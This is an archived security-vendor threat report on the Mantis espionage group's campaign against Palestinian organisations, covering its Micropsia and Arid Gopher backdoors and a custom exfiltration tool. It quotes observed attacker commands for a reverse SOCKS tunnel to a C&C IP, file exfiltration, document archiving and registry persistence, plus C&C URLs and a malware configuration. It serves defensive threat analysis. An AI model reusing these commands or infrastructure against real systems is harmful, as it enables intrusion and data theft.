https://web.archive.org/web/20231227054130/https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/mantis-palestinian-attacks

Mantis: New Tooling Used in Attacks Against Palestinian Targets

By Threat Hunter TeamSymantec

Archived: 2026-10-18 02:05:37 UTC

The Mantis cyber-espionage group (aka Arid Viper, Desert Falcon, APT-C-23), a threat actor believed to be operating out of the Palestinian territories**,** is continuing to mount attacks, deploying a refreshed toolset and going to great lengths to maintain a persistent presence on targeted networks.

While the group is known for targeting organizations in the Middle East, the most recent campaign uncovered by Symantec, by Broadcom Software, focused on organizations within the Palestinian territories, with malicious activity beginning in September 2022 and continuing to at least February 2023. This targeting is not unprecedented for Mantis and Symantec previously uncovered attacks against individuals located in the Palestinian territories during 2017.

Background

Mantis has been active since at least 2014, with some third-party reporting suggesting it may have been active as early as 2011. The group is known to target organizations in Israel and a number of other Middle Eastern countries. Sectors targeted include government, military, financial, media, education, energy, and think tanks. The group is known for employing spear-phishing emails and fake social media profiles to lure targets into installing malware on their devices.

Mantis is widely accepted to be linked to the Palestinian territories. While other vendors have linked the group to Hamas, Symantec cannot make a definitive attribution to any Palestinian organization.

In its most recent attacks, the group used updated versions of its custom Micropsia and Arid Gopher backdoors to compromise targets before engaging in extensive credential theft and exfiltration of stolen data.

Attack chain

The initial infection vector for this campaign remains unknown. In one organization targeted, a feature of the compromise was that the attackers deployed three distinct versions of the same toolset (i.e. different variants of the same tools) on three groups of computers. Compartmentalizing the attack in this fashion was likely a precautionary measure. If one toolset was discovered, the attackers would still have a persistent presence on the target's network.

The following is a description of how one of those three toolsets was used:

The first evidence of malicious activity occurred on December 18, 2022. Three distinct sets of obfuscated PowerShell commands were executed to load a Base64-encoded string, which started embedded shellcode. The shellcode was a 32-bit stager that downloaded another stage using basic TCP-based protocol from a command-and-control (C&C) server: 104.194.222[.]50 port 4444.

The attackers returned on December 19 to dump credentials before downloading the Micropsia backdoor and Putty, a publicly available SSH client, using Certutil and BITSAdmin

Micropsia subsequently executed and initiated contact with a C&C server. On the same day, Micropsia also executed on three other machines in the same organization. In each case, it ran in a folder named after its file name:

- csidl_common_appdata\systempropertiesinternationaltime\systempropertiesinternationaltime.exe
- csidl_common_appdata\windowsnetworkmanager\windowsnetworkmanager.exe
- csidl_common_appdata\windowsps\windowsps.exe

On one computer, Micropsia was used to set up a reverse socks tunnel to an external IP address:

CSIDL_COMMON_APPDATA\windowsservicemanageav\windowsservicemanageav.exe -connect 104.194.222[.]50:443 [REDACTED]

On December 20, Micropsia was used to run an unknown executable named windowspackages.exe on one of the infected computers.

The following day, December 21, RAR was executed to archive files on another infected computer.

Between December 22 and January 2, 2023, Micropsia was used to execute the Arid Gopher backdoor on three infected computers. Arid Gopher was in turn used to run a tool called SetRegRunKey.exe that provided persistence by adding Arid Gopher to the registry so that it executed on reboot. It also ran an unknown file named localsecuritypolicy.exe (this file name was used for the Arid Gopher backdoor elsewhere by the attackers).

On December 28, Micropsia was used to run windowspackages.exe on three more infected computers.

On December 31, Arid Gopher executed two unknown files named networkswitcherdatamodell.exe and networkuefidiagsbootserver.exe on two of the infected computers.

On January 2, the attackers retired the version of Arid Gopher they were using and introduced a new variant. Whether this was because the first version was discovered or whether it was standard operating procedure is unclear.

On January 4, Micropsia was used to execute two unknown files, both named hostupbroker.exe, on a single computer from the folder: csidl_common_appdata\hostupbroker\hostupbroker.exe. This was immediately followed by the exfiltration of a RAR file:

CSIDL_COMMON_APPDATA\windowsupserv\windowsupserv.exe -f CSIDL_COMMON_APPDATA\windowspackages\01-04-2023-15-13-39_getf.rar

On January 9, Arid Gopher was used to execute two unknown files on a single computer:

- csidl_common_appdata\teamviewrremoteservice\teamviewrremoteservice.exe
- csidl_common_appdata\embededmodeservice\embededmodeservice.exe

The last malicious activity occurred from January 12 onwards when Arid Gopher was used to execute the unknown file named localsecuritypolicy.exe every ten hours.

Micropsia

Variants of the Micropsia backdoor used in these attacks appear to be slightly updated versions of those seen by other vendors. In this campaign, Micropsia was deployed using multiple file names and file paths:

- csidl_common_appdata\microsoft\dotnet35\microsoftdotnet35.exe
- csidl_common_appdata\microsoftservicesusermanual\systempropertiesinternationaltime.exe
- csidl_common_appdata\systempropertiesinternationaltime\systempropertiesinternationaltime.exe
- csidl_common_appdata\windowsnetworkmanager\windowsnetworkmanager.exe
- csidl_common_appdata\windowsps\windowsps.exe

Micropsia is executed using WMI and its main purpose appears to be running secondary payloads for the attackers. These included:

- Arid Gopher (file names: networkvirtualizationstartservice.exe, networkvirtualizationfiaservice.exe, networkvirtualizationseoservice.exe)
- Reverse SOCKs Tunneler (aka Revsocks) (file name: windowsservicemanageav.exe)
- Data Exfiltration Tool (file name: windowsupserv.exe)
- Two unknown files, both named hostupbroker.exe
- Unknown file named windowspackages.exe

In addition to this, Micropsia has its own functionality, such as taking screenshots, keylogging, and archiving certain file types using WinRAR in preparation for data exfiltration:

"%PROGRAMDATA%\Software Distributions\WinRAR\Rar.exe" a -r -ep1 -v2500k -hp71012f4c6bdeeb73ae2e2196aa00bf59_d01247a1eaf1c24ffbc851e883e67f9b -ta2023-01-14 "%PROGRAMDATA%\Software Distributions\Bdl\LMth__C_2023-02-13 17-14-41" "%USERPROFILE%.xls" "%USERPROFILE%*.xlsx" "%USERPROFILE%*.doc" "%USERPROFILE%*.docx" "%USERPROFILE%*.csv" "%USERPROFILE%*.pdf" "%USERPROFILE%*.ppt" "%USERPROFILE%*.pptx" "%USERPROFILE%*.odt" "%USERPROFILE%*.mdb" "%USERPROFILE%*.accdb" "%USERPROFILE%*.accde" "%USERPROFILE%*.txt" "%USERPROFILE%*.rtf" "%USERPROFILE%*.vcf"*

Arid Gopher

Unlike Micropsia, which is written in Delphi, Arid Gopher is written in Go. Versions of Arid Gopher used in this campaign contain the following embedded components:

- 7za.exe – A copy of the legitimate 7-Zip executable
- AttestationWmiProvider.exe – A tool that sets a “run” registry value
- ServiceHubIdentityHost.exe – A copy of legitimate Shortcut.exe executable from Optimum X
- Setup.env – Configuration file

Arid Gopher was also used to launch the following unknown files: networkswitcherdatamodell.exe, localsecuritypolicy.exe, and networkuefidiagsbootserver.exe, in addition to being used to download and execute files obfuscated with PyArmor.

When communicating with a C&C server, Arid Gopher registers a device on one path then connects to another path, likely to receive commands:

- Connects to: http://jumpstartmail[.]com/IURTIER3BNV4ER/DWL1RucGSj/4wwA7S8jQv (IP: 79.133.51[.]134) - likely to register device
- Followed by: http://jumpstartmail[.]com/IURTIER3BNV4ER/AJLUK9BI48/0L6W3CSBMC - likely to receive commands
- Connects to: http://salimafia[.]net/IURTIER3BNV4ER/DWL1RucGSj/4wwA7S8jQv (IP: 146.19.233[.]32) - likely to register device
  Followed by: http://salimafia[.]net/IURTIER3BNV4ER/AJLUK9BI48/0L6W3CSBMC - likely to receive commands

Arid Gopher appears to be regularly updated and rewritten by the attackers, most likely in order to evade detection. One variant of the malware was radically different from previous versions seen with most of the distinctive code updated, so much so that there was not a single subroutine that contained identical distinctive code when compared with the previous version. Mantis appeared to be aggressively mutating the logic between variants, which is a time-intensive operation if done manually.

The embedded setup.env file used by one analyzed variant of Arid Gopher to retrieve configuration data contained the following:

DIR=WindowsPerceptionService

ENDPOINT=http://jumpstartmail[.]com/IURTIER3BNV4ER

LOGS=logs.txt

DID=code.txt

VER=6.1

EN=2

ST_METHOD=r

ST_MACHINE=false

ST_FLAGS=x

COMPRESSOR=7za.exe

DDIR=ResourcesFiles

BW_TOO_ID=7463b9da-7606-11ed-a1eb-0242ac120002

SERVER_TOKEN=PDqMKZ91l2XDmDELOrKB

STAPP=AttestationWmiProvider.exe

SHORT_APP=ServiceHubIdentityHost.exe

The setup.env configuration file mentions another file, AttestationWmiProvider.exe, which is also embedded in Arid Gopher. The file is a 32-bit executable that is used as a helper to ensure that another executable will run on reboot. When it executes, it checks for the following command-line arguments:

"key" with string parameter [RUN_VALUE_NAME]

"value" with string parameter [RUN_PATHNAME]

It then arranges to receive notification on a signal using func os/signal.Notify(). Once notified, it sets the following registry value:

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"[RUN_VALUE_NAME]" = "[RUN_PATHNAME]"

Our investigation so far shows this file setting Arid Gopher to run on reboot:

CSIDL_COMMON_APPDATA\attestationwmiprovider\attestationwmiprovider.exe -key=NetworkVirtualizationStartService "-value=CSIDL_COMMON_APPDATA\networkvirtualizationstartservice\networkvirtualizationstartservice.exe -x"

Exfiltration Tool

The attackers also used a custom tool to exfiltrate data stolen from targeted organizations: a 64-bit PyInstaller executable named WindowsUpServ.exe. When run, the tool checks for the following command-line arguments:

"-d" "[FILE_DIRECTORY]"

"-f" "[FILENAME]"

For each "-f" "[FILENAME]" command-line argument, the tool uploads the content of [FILENAME]. For each "-d" "[FILE_DIRECTORY]" command-line argument, the tool obtains a list of files stored in the folder [FILE_DIRECTORY] and uploads the content of each file.

When uploading each file, the tools sends an HTTP POST request to a C&C server with the following parameters:

"kjdfnqweb": [THE_FILE_CONTENT]

"qyiwekq": [HOSTNAME_OF_THE_AFFECTED_COMPUTER]

Whenever the remote server responds with the status code 200, the malware deletes the uploaded file from the local disk. The malware may also log some of its actions in the following files:

"C:\ProgramData\WindowsUpServ\success.txt"

"C:\ProgramData\WindowsUpServ\err.txt"

Determined Adversary

Mantis appears to be a determined adversary, willing to put time and effort into maximizing its chances of success, as evidenced by extensive malware rewriting and its decision to compartmentalize attacks against single organizations into multiple separate strands to reduce the chances of the entire operation being detected.

Protection/Mitigation

For the latest protection updates, please visit the Symantec Protection Bulletin.

Indicators of Compromise

If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.

Source: https://web.archive.org/web/20231227054130/https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/mantis-palestinian-attacks